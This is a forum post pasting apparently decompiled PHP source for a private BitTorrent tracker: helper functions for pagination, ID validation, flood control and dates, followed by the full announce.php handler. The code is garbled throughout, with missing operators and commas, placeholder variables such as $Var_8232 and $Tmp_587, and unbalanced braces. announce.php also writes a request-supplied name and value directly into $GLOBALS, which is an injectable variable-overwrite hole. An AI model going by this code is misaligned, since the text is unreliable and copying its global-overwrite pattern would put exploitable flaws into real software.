$pagenav .= "<li><a href=\"{$address}".( $curpage != "page=".$curpage.$whereto "tsscript=true{$whereto})."\" title=\"".sprintf$lang->global['show_results'], $pagenumbers['first'], $pagenumbers['last'], $total )."\">{$curpage}</a></li>";
        }
    }
    
$prp = isset( $prevpage ) && $prevpage != "page=".$prevpage.$Var_8232 "tsscript=true{$whereto}";
    
$pagenav2 str_replace( array( "quicknavpage""Page_Number" ), array( "quicknavpage2""Page_Number2" ), $pagenav );
    return array( 
$pagenav$pagenav2"{$limitlower}{$perpage});
}

function 
sanitize_pageresults$numresults, &$page, &$perpage$maxperpage 20$defaultperpage 20 )
{
    
$perpage intval$perpage );
    if ( 
$perpage )
    {
        
$perpage $defaultperpage;
    }
    if ( 
$maxperpage $perpage )
    {
        
$perpage $maxperpage;
    }
    
$numpages ceil$numresults $perpage );
    if ( 
$numpages == )
    {
        
$numpages 1;
    }
    if ( 
$page )
    {
        
$page 1;
    }
    else
    {
        if ( 
$numpages $page )
        {
            
$page $numpages;
        }
    }
}

function 
fetch_start_end_total_array$pagenumber$perpage$total )
{
    
$first $perpage * ( $pagenumber );
    
$last $first $perpage;
    if ( 
$total $last )
    {
        
$last $total;
    }
    ++
$first;
    return array( 
"first" => ts_nf$first ), "last" => ts_nf$last ) );
}

function 
get_user_color$username$namestyle$white false )
{
    if ( 
$white )
    {
        
$new_username "<font color=\"#ffffff\">".$username."</font>";
    }
    else
    {
        
$new_username str_replace"{username}"$username$namestyle );
    }
    return 
$new_username;
}

function 
int_check$value$stdhead false$stdfood true$die true$log true )
{
    global 
$CURUSER;
    global 
$BASEURL;
    global 
$lang;
    
$msg sprintf(  );
    if ( 
is_array$value ) )
    {
        foreach ( 
$value as $val )
        {
            
int_check$val$stdhead$stdfood$Var_1056$log );
        }
    }
    else if ( !
is_valid_id$value ) )
    {
        if ( 
$stdhead )
        {
            if ( 
$log )
            {
                
write_log$msg );
            }
            
stderr$lang->global['error'], $lang->global['invalididlogged'] );
            print 
$lang->global['invalididlogged2'];
        }
        else if ( 
$log )
        {
            
write_log$msg );
        }
        if ( 
$stdfood )
        {
            
stdfoot( );
        }
        if ( 
$die )
        {
            exit( );
        }
    }
    else
    {
        return 
true;
    }
}

function 
is_valid_id$id )
{
    return 
is_numeric$id ) && $id && floor$id ) == $id;
}

function 
flood_check$type ""$last ""$shoutbox false )
{
    global 
$lang;
    global 
$usergroups;
    global 
$CURUSER;
    
$timecut TIMENOW $usergroups['floodlimit'];
    if ( 
strstr$last"-" ) )
    {
        
$last ts_mtstouts$last );
    }
    if ( 
$timecut <= $last && $usergroups['floodlimit'] != )
    {
        
$remaining_time $usergroups['floodlimit'] - ( TIMENOW $last );
        if ( 
$shoutbox == )
        {
            
stderr$lang->global['error'], sprintf$lang->global['flooderror'], $usergroups['floodlimit'], $type$remaining_time ), false );
        }
        else
        {
            
$msg "<font color=\"#9f040b\" size=\"2\">".( $lang->global['flooderror'], $usergroups['floodlimit'], $type$remaining_time )."</font>";
            return 
$msg;
        }
    }
}

function 
print_no_permission$log false$stdhead true$extra "" )
{
    global 
$lang;
    global 
$SITENAME;
    global 
$BASEURL;
    global 
$CURUSER;
    if ( 
$log )
    {
        
$page htmlspecialchars_uni$_SERVER['SCRIPT_NAME'] );
        
$query htmlspecialchars_uni$_SERVER['QUERY_STRING'] );
        
$message sprintf$lang->global['permissionlogmessage'], $page$query"<a href=\"".$BASEURL."/userdetails.php?id=".$CURUSER['id']."\">".$CURUSER['username']."</a>"$CURUSER['ip'] );
        
write_log$message );
    }
    if ( 
$stdhead )
    {
        
stdhead$lang->global['nopermission'] );
        echo 
sprintf$lang->global['print_no_permission'], $SITENAME$extra != "" "<font color=\"#9f040b\">".$extra."</font>" $lang->global['print_no_permission_i'] );
        
stdfoot( );
    }
    else
    {
        echo 
sprintf$lang->global['print_no_permission'], $SITENAME$extra != "" "<font color=\"#9f040b\">".$extra."</font>" $lang->global['print_no_permission_i'] );
        
stdfoot( );
    }
    exit( );
}

function 
submit_disable$formname ""$buttonname ""$text "" )
{
    global 
$lang;
    
$value "onsubmit=\"document.{$formname}.{$buttonname}.value='".( $text $text $lang->global['pleasewait'] )."';document.{$formname}.{$buttonname}.disabled=true\"";
    return 
$value;
}

function 
my_datee$format$stamp ""$offset ""$ty )
{
    global 
$CURUSER;
    global 
$lang;
    global 
$dateformat;
    global 
$timeformat;
    global 
$regdateformat;
    global 
$timezoneoffset;
    global 
$dstcorrection;
    if ( empty( 
$stamp ) )
    {
        
$stamp TIMENOW;
    }
    else if ( 
strstr$stamp"-" ) )
    {
        
$stamp ts_mtstouts$stamp );
    }
    if ( !
$offset && $offset != "0" )
    {
        if ( 
$CURUSER['id'] != && array_key_exists"tzoffset"$CURUSER ) )
        {
            
$offset $CURUSER['tzoffset'];
            
$dstcorr preg_match"#O1#is"$CURUSER['options'] ) ? "yes" "no";
        }
        else
        {
            
$offset $timezoneoffset;
            
$dstcorr $dstcorrection;
        }
        if ( 
$dstcorr == "yes" )
        {
            ++
$offset;
            if ( 
my_substrr$offset0) != "-" )
            {
                
$offset "+".$offset;
            }
        }
    }
    if ( 
$offset == "-" )
    {
        
$offset 0;
    }
    
$date gmdate$format$stamp $offset 3600 );
    if ( 
$dateformat == $format && $ty )
    {
        
$stamp TIMENOW;
        
$todaysdate gmdate$format$stamp $offset 3600 );
        
$yesterdaysdate gmdate$format$stamp 86400 $offset 3600 );
        if ( 
$todaysdate == $date )
        {
            
$date $lang->global['today'];
        }
        else if ( 
$yesterdaysdate == $date )
        {
            
$date $lang->global['yesterday'];
        }
    }
    return 
$date;
}

function 
my_substrr$string$start$length "" )
{
    if ( 
$length != "" )
    {
        
$cut_string mb_substr$string$start$length );
    }
    else
    {
        
$cut_string mb_substr$string$start );
    }
    return 
$cut_string;
}

function 
get_date_time$timestamp )
{
    if ( 
$timestamp )
    {
        return 
date"Y-m-d H:i:s"$timestamp );
    }
    return 
date"Y-m-d H:i:s" );
}

function 
gmtime( )
{
    return 
ts_mtstoutsget_date_time( ) );
}

function 
sqlerr$file ""$line "" )
{
    global 
$CURUSER;
    global 
$BASEURL;
    global 
$usergroups;
    
$errormsg htmlspecialchars_unimysql_error( ) ).( "" );
    if ( 
$log )
    {
        
$msg "<font color=\"#9f040b\"><b>SQL ERROR has accured.</b></font>\r\n\t\t<b>Mysql Error:</b> ".$errormsg."\r\n\t\t<b>Request URL:</b> ".htmlspecialchars_uni$_SERVER['REQUEST_URI'] );
        if ( 
$CURUSER )
        {
            
$msg .= "\r\n\t\t\t<b>Username:</b> <a href=\"".$BASEURL."/userdetails.php?id=".$CURUSER['id']."\">".get_user_color$CURUSER['username'], $usergroups['namestyle'] )."</a>";
        }
        
write_log$msg );
    }
    
redirect"ts_error.php?errorid=5" );
    exit( );
}

if ( !
defined"__IN__TSSE__v7.0" ) )
{
    exit( 
"<font face='verdana' size='2' color='darkred'><b>Error!</b> Direct initialization of this file is not allowed.</font>" );
}
?>
announce.php

PHP Code:
<?php

function hash_where$name$hash )
{
    
$shhash preg_replace"/ *$/s"""$hash );
    return 
"({$name} = ".sqlesc$hash )." OR {$name} = ".sqlesc$shhash ).")";
}

function 
benc_str$s )
{
    return 
strlen$s ).":{$s}";
}

function 
checkconnect$host$port )
{
    global 
$A_checkconnectable;
    if ( 
$A_checkconnectable == "no" )
    {
        return 
"yes";
    }
    if ( 
$fp = @fsockopen( @$host, @$port, @$errno, @$errstr) )
    {
        @
fclose( @$fp );
        return 
"yes";
    }
    return 
"no";
}

function 
Stop$msg )
{
    
header"Content-Type: text/plain" );
    
header"Pragma: no-cache" );
    exit( 
"d14:failure reason".strlen$msg ).":".$msg."e" );
}

function 
sqlesc$value )
{
    if ( 
get_magic_quotes_gpc( ) )
    {
        
$value stripslashes$value );
    }
    return 
"'".mysql_real_escape_string$value )."'";
}

function 
send_action$actionmessage$resetpasskey false )
{
    global 
$announce_actions;
    global 
$Tid;
    global 
$Result;
    global 
$ip;
    global 
$passkey;
    if ( 
$announce_actions != "yes" )
    {
    }
    else
    {
        
mysql_query"INSERT INTO announce_actions (torrentid, userid, ip, passkey, actionmessage, actiontime) VALUES (".implode","array_map"sqlesc", array( $Tid$Result['userid'], $ip$passkey$actionmessage$_SERVER['REQUEST_TIME'] ) ) ).")" );
        if ( 
$resetpasskey )
        {
            
mysql_query"UPDATE users SET torrent_pass = '' WHERE torrent_pass = ".sqlesc$passkey ) );
        }
    }
}

if ( 
"5.3.0" <= phpversion( ) )
{
    @
date_default_timezone_set( @date_default_timezone_get( ) );
}
error_reportingE_ALL & ~E_NOTICE & ~E_STRICT );
define"IN_ANNOUNCE"true );
define"TSDIR"dirname__FILE__ ) );
if ( !isset( 
$_SERVER['REQUEST_TIME'] ) )
{
    
$_SERVER['REQUEST_TIME'] = time( );
}
require( 
TSDIR."/include/config_announce.php" );
require( 
TSDIR."/include/languages/".$defaultlanguage."/announce.lang.php" );
$compact = isset( $_GET['compact'] ) ? $_GET['compact'] : 0;
$peer_id = isset( $_GET['peer_id'] ) ? $_GET['peer_id'] : "";
$port = isset( $_GET['port'] ) ? $_GET['port'] : "";
$event = isset( $_GET['event'] ) ? $_GET['event'] : "";
$downloaded = isset( $_GET['downloaded'] ) ? $_GET['downloaded'] : "";
$uploaded = isset( $_GET['uploaded'] ) ? $_GET['uploaded'] : "";
$left = isset( $_GET['left'] ) ? $_GET['left'] : "";
$numwant min( isset( $_GET['numwant'] ) ? $_GET['numwant'] : isset( $_GET['num_want'] ) ? $_GET['num_want'] : isset( $_GET['num want'] ) ? $_GET['num want'] : 5050 );
$update_user $update_torrent $update_snatched = array( );
$ORJ_Get_Passkey = isset( $_GET['passkey'] ) ? $_GET['passkey'] : "";
if ( 
$ORJ_Get_Passkey && strpos$ORJ_Get_Passkey"?" ) )
{
    
$chop $ORJ_Get_Passkey;
    
$delim "?";
    
$half strtok$chop$delim );
    
$onehalf = array( );
    while ( 
is_string$half ) )
    {
        if ( 
$half )
        {
            
$onehalf[] = $half;
        }
        
$half strtok$delim );
    }
    unset( 
$chop );
    unset( 
$delim );
    unset( 
$half );
    
$_GET['passkey'] = $onehalf[0];
    
$delim2 "=";
    
$hash strtok$onehalf[1], $delim2 );
    
$onehash = array( );
    while ( 
is_string$hash ) )
    {
        if ( 
$hash )
        {
            
$onehash[] = $hash;
        }
        
$hash strtok$delim2 );
    }
    
$_GET['info_hash'] = $onehash[1];
    unset( 
$onehalf );
    unset( 
$delim2 );
    unset( 
$hash );
    unset( 
$onehash );
}
$passkey = isset( $_GET['passkey'] ) ? $_GET['passkey'] : "";
$info_hash = isset( $_GET['info_hash'] ) ? $_GET['info_hash'] : "";
if ( 
get_magic_quotes_gpc( ) )
{
    
$info_hash stripslashes$info_hash );
    
$peer_id stripslashes$peer_id );
}
if ( 
$xbt_active == "yes" )
{
    
Stop$l['xbt'].( strlen$passkey ) == 32 $xbt_announce_url."/".htmlspecialchars$passkey )."/announce" "" ) );
}
if ( 
$announce_system == "no" )
{
    
Stop$l['offline'] );
}
if ( 
strlen$passkey ) == 32 && strlen$info_hash ) == 20 && strlen$peer_id ) == 20 && $port && $port 65535 )
{
    if ( 
$passkey && $passkey == "tssespecialtorrentv1byxamsep2007" )
    {
        
Stop$l['registerfirst'].$BASEURL."/signup.php" );
    }
}
else if ( 
strlen$info_hash ) != 20 && strpos$ORJ_Get_Passkey"?" ) )
{
    
$passkey $ORJ_Get_Passkey;
    
$tmp substr$passkeystrpos$passkey"?" ) );
    
$passkey substr$passkey0strpos$passkey"?" ) );
    
$tmpname substr$tmp1strpos$tmp"=" ) - );
    
$tmpvalue substr$tmpstrpos$tmp"=" ) + );
    
$GLOBALS[$tmpname] = $tmpvalue;
    if ( 
strlen$info_hash ) != 20 )
    {
        
Stop$l['error'] );
    }
}
else
{
    
Stop$l['error'] );
}
$ip trimhtmlspecialchars$_SERVER['REMOTE_ADDR'] ) );
$agent trimhtmlspecialchars$_SERVER['HTTP_USER_AGENT'] ) );
$seeder $left == "yes" "no";
if ( ( 
$db = @mysql_connect( @$mysql_host, @$mysql_user, @$mysql_pass ) ) && ( $select = @mysql_select_db( @$mysql_db, @$db ) ) )
{
}
else
{
    
Stop$l['cerror'] );
}
if ( !( 
$Query mysql_query"\n\t\t\t\t\tSELECT u.id as userid, u.enabled, u.ip, u.uploaded, u.downloaded, u.birthday,\n\t\t\t\t\tg.isbanned, g.candownload, g.canviewviptorrents, g.isvipgroup, g.canfreeleech, g.waitlimit, g.slotlimit,\n\t\t\t\t\tsb.sb_port , sb.sb_ipaddress\n \t\t\t\t\tFROM users u\n\t\t\t\t\tINNER JOIN usergroups g ON (u.usergroup = g.gid)\n\t\t\t\t\tLEFT JOIN ts_seedboxes sb ON (sb.sb_userid = u.id)\n\t\t\t\t\tWHERE u.torrent_pass = ".sqlesc$passkey )."\n\t\t\t\t\tLIMIT 1" ) ) )
{
}
if ( !( 
$UserResult mysql_fetch_assoc$Query ) ) || !$UserResult['userid'] || $UserResult['enabled'] != "yes" || $UserResult['isbanned'] != "no" )
{
    
Stop$l['qerror1'] );
}
if ( !( 
$Query mysql_query"\n\t\t\t\t\tSELECT t.id as tid, t.name, t.category, t.size, t.added, t.visible, t.banned, t.free, t.silver, t.doubleupload, t.moderate, t.seeders, t.leechers, t.times_completed,\n\t\t\t\t\tc.vip as isviptorrent\n \t\t\t\t\tFROM torrents t\n\t\t\t\t\tLEFT JOIN categories c ON (t.category=c.id)\n\t\t\t\t\tWHERE (t.info_hash = ".sqlesc$info_hash )." OR t.info_hash = ".sqlescpreg_replace"/ *$/s"""$info_hash ) ).")\n\t\t\t\t\tLIMIT 1" ) ) )
{
}
if ( !( 
$TorrentResult mysql_fetch_assoc$Query ) ) || !( $Tid $TorrentResult['tid'] ) || $TorrentResult['moderate'] == "1" || $TorrentResult['banned'] != "no" )
{
    
Stop$l['qerror2'] );
}
$Result array_merge$TorrentResult$UserResult );
unset( 
$TorrentResult );
unset( 
$UserResult );
$Result['ip'] = trim$Result['ip'] );
if ( 
$checkip == "yes" && ( $Result['ip'] != $ip || !$Result['ip'] || !$ip ) )
{
    
$Result['sb_ipaddress'] = trim$Result['sb_ipaddress'] );
    
$Result['sb_port'] = trim$Result['sb_port'] );
    if ( 
$Result['sb_port'] != "" && $Result['sb_ipaddress'] != "" && $port != "" && $ip != "" && $Result['sb_ipaddress'] == $ip )
    {
        if ( 
strpos$Result['sb_port'], "-" ) === false )
        {
            
$PortRange = array( $Result['sb_port'] );
        }
        else
        {
            
$PortRange explode"-"$Result['sb_port'] );
        }
        if ( !
in_array$port$PortRange ) )
        {
            
Stop$l['invalidip'] );
        }
    }
    else
    {
        
Stop$l['invalidip'] );
    }
}
if ( 
$detectbrowsercheats == "yes" && isset( $_SERVER['HTTP_COOKIE'] ) && isset( $_SERVER['HTTP_ACCEPT_LANGUAGE'] ) )
{
    
send_action"This user tried to cheat with a browser!"true );
    
Stop$l['invalidagent'] );
}
if ( 
$bannedclientdetect == "yes" )
{
    if ( isset( 
$_SERVER['HTTP_ACCEPT'] ) && "text/html, */*" == $_SERVER['HTTP_ACCEPT'] || isset( $_SERVER['HTTP_CONNECTION'] ) && "Close" == $_SERVER['HTTP_CONNECTION'] && "gzip, deflate" != $_SERVER['HTTP_ACCEPT_ENCODING'] )
    {
        
Stop$l['bannedclient'] );
    }
    else if ( isset( 
$_SERVER['HTTP_ACCEPT'] ) && $_SERVER['HTTP_ACCEPT'] == "text/html, */*" && $_SERVER['HTTP_ACCEPT_ENCODING'] == "identity" )
    {
        
Stop$Var_12408 );
    }
    else if ( !
in_arraysubstr$peer_id0), explode","$allowed_clients ) ) )
    {
        
Stop$l['bannedclient'] );
    }
}
$fields "peer_id, ip, port, uploaded, downloaded, seeder, last_action, (UNIX_TIMESTAMP() - UNIX_TIMESTAMP(last_action)) AS announcetime, UNIX_TIMESTAMP(prev_action) AS prevts, connectable, userid";
$gp_eq $nc == "yes" " AND connectable = 'yes'" "";
$wantseeds $seeder == "yes" " AND seeder = 'no'" "";
$resp "d8:completei".$Result['seeders']."e10:downloadedi".$Result['times_completed']."e10:incompletei".$Result['leechers']."e8:intervali".$announce_interval."e12:min intervali".$announce_interval.( $privatetrackerpatch == "yes" && $compact != "e7:privatei1" "" )."e5:peers".( $compact != "l" "" );
$peer = array( );
$peer_num 0;
$query_peers mysql_query$Tmp_587 );
if ( 
$compact != )
{
    while ( 
$result_peers mysql_fetch_assoc$query_peers ) )
    {
        
$result_peers['peer_id'] = str_pad$result_peers['peer_id'], 20 );
        if ( 
$result_peers['peer_id'] === $peer_id )
        {
            
$self $result_peers;
            continue;
        }
        
$resp .= "d".benc_str"ip" ).benc_str$result_peers['ip'] );
        if ( !
$_GET['no_peer_id'] )
        {
            
$resp .= benc_str"peer id" ).benc_str$result_peers['peer_id'] );
        }
        
$resp .= benc_str"port" )."i".$result_peers['port']."e"."e";
    }
    
$resp .= "ee";
}
else
{
    while ( 
$result_peers mysql_fetch_assoc$query_peers ) )
    {
        
$peer_ip explode"."$result_peers['ip'] );
        
$peer_ip pack"C*"$peer_ip[0], $peer_ip[1], $peer_ip[2], $peer_ip[3] );
        
$peer_port pack"n*", ( integer ) );
        
$time intvaltime( ) % 7680 60 );
        if ( 
$left == )
        {
            
$time += 128;
        }
        
$time pack"C"$time );
        
$peer[] = $time.$peer_ip.$peer_port;
        ++
$peer_num;
    }
    
$o "";
    
$i 0;
    while ( 
$i $peer_num )
    {
        
$o .= substr$peer[$i], 1);
        ++
$i;
    }
    
$resp .= strlen$o ).":".$o."e";
    unset( 
$peer );
}
$selfwhere "torrent = {$Tid} AND ".hash_where"peer_id"$peer_id );
if ( !isset( 
$self ) )
{
    
$Query mysql_query"SELECT ".$fields." FROM peers WHERE ".$selfwhere." LIMIT 1" );
    if ( 
mysql_num_rows$Query ) )
    {
        
$self mysql_fetch_assoc$Query );
    }
}
if ( isset( 
$self ) && $announce_wait && $_SERVER['REQUEST_TIME'] - $announce_wait $self['prevts'] )
{
    
Stop$l['antispam'].$announce_wait );
}
if ( !isset( 
$self ) )
{
    if ( 
$seeder != "yes" )
    {
        if ( 
$Result['candownload'] != "yes" )
        {
            
Stop$l['dlerror'] );
        }
        if ( 
$Result['isviptorrent'] == "yes" )
        {
            
send_action"This user tried to download a VIP torrent!"true );
            
Stop$l['dlerror'] );
        }
        if ( 
intval$Result['waitlimit'] ) )
        {
            @
$elapsed = @floor( @( @$_SERVER['REQUEST_TIME'] - @strtotime( @$Result['added'] ) ) / 3600 );
            if ( 
$elapsed <= $Result['waitlimit'] )
            {
                
Stop$l['werror']." (".( $Result['waitlimit'] - $elapsed ).$l['hour'].")" );
            }
        }
        if ( !( 
$res mysql_query"SELECT 1 FROM peers WHERE userid = ".$Result['userid']." AND seeder = 'no'" ) ) )
        {
        }
        if ( 
intval$Result['slotlimit'] ) && ( $totalactivetorrents mysql_num_rows$res ) ) && $Result['slotlimit'] <= $totalactivetorrents )
        {
            
Stop$l['merror'].$Result['slotlimit'] );
        }
    }
}
else
{
    require_once( 
TSDIR."/".$cache."/freeleech.php" );
    
$TIMENOW date"Y-m-d H:i:s" );
    if ( 
$__F_START $TIMENOW && $TIMENOW $__F_END )
    {
        switch ( 
$__FLSTYPE )
        {
            case 
"freeleech" :
                
$Var_20400['free'] = "yes";
                
$Result['canfreeleech'] = "yes";
                break;
            case 
"silverleech" :
                
$Result['silver'] = "yes";
                break;
            case 
"doubleupload" :
                
$Result['doubleupload'] = "yes";
                break;
            default :
                break;
        }
    }
    unset( 
$__F_START );
    unset( 
$__F_END );
    unset( 
$__FLSTYPE );
    unset( 
$TIMENOW );
    if ( 
$bdayreward == "yes" && $bdayrewardtype && $Result['birthday'] )
    {
        
$curuserbday explode"-"$Result['birthday'] );
        if ( 
date"j-n" ) === $curuserbday[0]."-".$curuserbday[1] )
        {
            switch ( 
$bdayrewardtype )
            {
                case 
"freeleech" :
                    
$Result['free'] = "yes";
                    
$Result['canfreeleech'] = "yes";
                    break;
                case 
"silverleech" :
                    
$Result['silver'] = "yes";
                    break;
                case 
"doubleupload" :
                    
$Result['doubleupload'] = "yes";
            }
        }
    }
    unset( 
$curuserbday );
    unset( 
$bdayreward );
    unset( 
$bdayrewardtype );
    
$realupload max0$uploaded $self['uploaded'] );
    
$upthis $Result['doubleupload'] == "yes" $realupload $realupload;
    
$downthis max0$downloaded $self['downloaded'] );
    @
$upspeed = @@< @$realupload $realupload / @$self['announcetime'] : 0;
    @
$downspeed = @@< @$downthis $downthis / @$self['announcetime'] : 0;
    
$announcetime $self['seeder'] == "yes" "seedtime = seedtime + ".$self['announcetime'] : "leechtime = leechtime + ".$self['announcetime'];
    if ( 
$upthis || $downthis )
    {
        if ( 
536870912 $realupload && $aggressivecheat == "yes" )
        {
            
send_action"There was no Leecher on this torrent however this user uploaded ".$realupload." bytes, which might be a cheat attempt with a cheat software such as Ratio Maker, Ratio Faker etc.." );
        }
        
$dled $Result['silver'] == "yes" && $downthis $downthis $downthis;
        if ( 
$upthis )
        {
            
$update_user[] = "uploaded = uploaded + ".$upthis;
        }
        if ( 
$dled && $Result['free'] != "yes" && $Result['canfreeleech'] != "yes" )
        {
            
$update_user[] = "downloaded = downloaded + ".$dled;
        }
    }
    if ( 
$max_rate $upspeed && $aggressivecheat == "yes" )
    {
        if ( !
mysql_query$Tmp_1019.", ".sqlesc$realupload ).", ".sqlesc$self['announcetime'] ).", ".sqlesc$ip ).", ".sqlesc$Tid ).")" ) )
        {
        }
    }
}
if ( 
$event == "stopped" )
{
    if ( 
$snatchmod == "yes" )
    {
        
$update_snatched[] = "seeder = 'no'";
        
$update_snatched[] = "connectable = 'no'";
        
$update_snatched[] = "last_action = NOW()";
        
$update_snatched[] = "port = {$port}";
        
$update_snatched[] = "agent = ".sqlesc$agent );
        
$update_snatched[] = $announcetime;
        if ( 
$upspeed )
        {
            
$update_snatched[] = "upspeed = '{$upspeed}'";
        }
        if ( 
$downspeed )
        {
            
$update_snatched[] = "downspeed = '{$downspeed}'";
        }
        
$update_snatched[] = "ip = ".sqlesc$ip );
        
$update_snatched[] = "uploaded = uploaded + {$realupload}";
        
$update_snatched[] = "downloaded = downloaded +{$downthis}";
        
$update_snatched[] = "to_go = {$left}";
    }
    
mysql_query"DELETE FROM peers WHERE ".$selfwhere );
    if ( 
mysql_affected_rows( ) )
    {
        
$update_torrent[] = $self['seeder'] == "yes" "seeders = IF(seeders > 0, seeders - 1, 0)" "leechers = IF(leechers > 0, leechers - 1, 0)";
    }
}
}
else
{
    if ( 
$event == "completed" )
    {
        if ( 
$snatchmod == "yes" )
        {
            
$update_snatched[] = "finished = 'yes'";
            
$update_snatched[] = "completedat = NOW()";
        }
        
$update_torrent[] = "times_completed = times_completed + 1";
    }
    if ( isset( 
$self ) )
    {
        
$connectable $self['connectable'] == "yes" "yes" checkconnect$ip$port );
        if ( 
$snatchmod == "yes" )
        {
            
$update_snatched[] = "seeder = '{$seeder}'";
            
$update_snatched[] = "connectable = '{$Var_27648}'";
            
$update_snatched[] = "last_action = NOW()";
            
$update_snatched[] = "port = {$port}";
            
$update_snatched[] = "agent = ".sqlesc$agent );
            
$update_snatched[] = $announcetime;
            if ( 
$upspeed )
            {
                
$update_snatched[] = "upspeed = '{$upspeed}'";
            }
            if ( 
$downspeed )
            {
                
$update_snatched[] = "downspeed = '{$downspeed}'";
            }
            
$update_snatched[] = "ip = ".sqlesc$ip );
            
$update_snatched[] = "uploaded = uploaded + {$realupload}";
            
$update_snatched[] = "downloaded = downloaded + {$downthis}";
            
$update_snatched[] = "to_go = {$left}";
        }
        
mysql_query"UPDATE peers SET uploaded = {$uploaded}, downloaded = {$downloaded}, to_go = {$left}, last_action = NOW(), prev_action = '".$self['last_action']."', seeder = '{$seeder}'".( $seeder == "yes" && $self['seeder'] != $seeder ", finishedat = ".$_SERVER['REQUEST_TIME'] : "" )." WHERE {$selfwhere});
        if ( 
mysql_affected_rows( ) && $self['seeder'] != $seeder )
        {
            if ( 
$seeder == "yes" )
            {
                
$update_torrent[] = "seeders = seeders + 1";
                
$update_torrent[] = "leechers = IF(leechers > 0, leechers - 1, 0)";
            }
            else
            {
                
$update_torrent[] = "leechers = leechers + 1";
                
$update_torrent[] = "seeders = IF(seeders > 0, seeders - 1, 0)";
            }
        }
    }
    else
    {
        if ( 
in_array$portexplode","$banned_ports ) ) )
        {
            
Stop$l['invalidport'] );
        }
        
$connectable checkconnect$ip$port );
        if ( 
$nc == "yes" && $connectable == "no" )
        {
            
Stop$l['conerror'] );
        }
        if ( 
$snatchmod == "yes" )
        {
            
$res mysql_query"SELECT 1 FROM snatched WHERE torrentid = ".$Tid." AND userid = ".$Result['userid'] );
            if ( 
mysql_num_rows$res ) < )
            {
                
mysql_query$Tmp_1295.", ".sqlesc$ip ).")" );
            }
        }
        
$ret mysql_query$Tmp_1319.$Result['userid'].", ".sqlesc$agent ).", {$uploaded}{$downloaded}, ".sqlesc$passkey ).")" );
        if ( 
$ret )
        {
            
$update_torrent[] = $seeder == "yes" "seeders = seeders + 1" "leechers = leechers + 1";
        }
    }
}
if ( 
$kpsseed && $seeder == "yes" && ( $bonus == "enable" || $bonus == "disablesave" ) )
{
    if ( 
$kpstype == "time" && isset( $self['announcetime'] ) && $announce_interval 10 $self['announcetime'] )
    {
        
$update_user[] = "seedbonus = seedbonus + ".$kpsseed;
    }
    else if ( isset( 
$realupload ) && $kpsgbamount 1024 1024 1024 $realupload )
    {
        
$multipler round$realupload / ( $kpsgbamount 1024 1024 1024 ) );
        
$update_user[] = "seedbonus = seedbonus + ".$kpsseed $multipler;
    }
}
if ( 
$seeder == "yes" )
{
    if ( 
$Result['visible'] == "no" )
    {
        
$update_torrent[] = "visible = 'yes'";
    }
    
$update_torrent[] = "last_action = NOW()";
}
if ( 
count$update_torrent ) )
{
    
mysql_query"UPDATE torrents SET ".implode", "$update_torrent )." WHERE id = {$Tid});
    unset( 
$update_torrent );
}
if ( 
count$update_user ) && isset( $self ) )
{
    
mysql_query"UPDATE users SET ".implode","$update_user )." WHERE id = ".$Result['userid'] );
    unset( 
$update_user );
}
if ( 
count$update_snatched ) )
{
    
mysql_query"UPDATE snatched SET ".implode", "$update_snatched )." WHERE torrentid = {$Tid} AND userid = {$Result['userid']});
    unset( 
$update_snatched );
}
header"Expires: Sat, 1 Jan 2000 01:00:00 GMT" );
header"Last-Modified: ".gmdate"D, d M Y H:i:s" )."GMT" );
header"Cache-Control: no-cache, must-revalidate" );
header"Pragma: no-cache" );
header"Content-type: text/html; charset=".$Var_34608 );
if ( 
$compact != && isset( $_SERVER['HTTP_ACCEPT_ENCODING'] ) && $_SERVER['HTTP_ACCEPT_ENCODING'] == "gzip" && $gzipcompress == "yes" )
{
    
header"Content-Encoding: gzip" );
    echo 
gzencode$resp9FORCE_GZIP );
}
else if ( 
$compact )
{
    
header"Content-Type: text/plain" );
    echo 
$resp;
}
else
{
    echo 
$resp;
}
?>

Last edited by fireman; 26th June 2011 at 06:45. Reason: code tags
Reply With Quote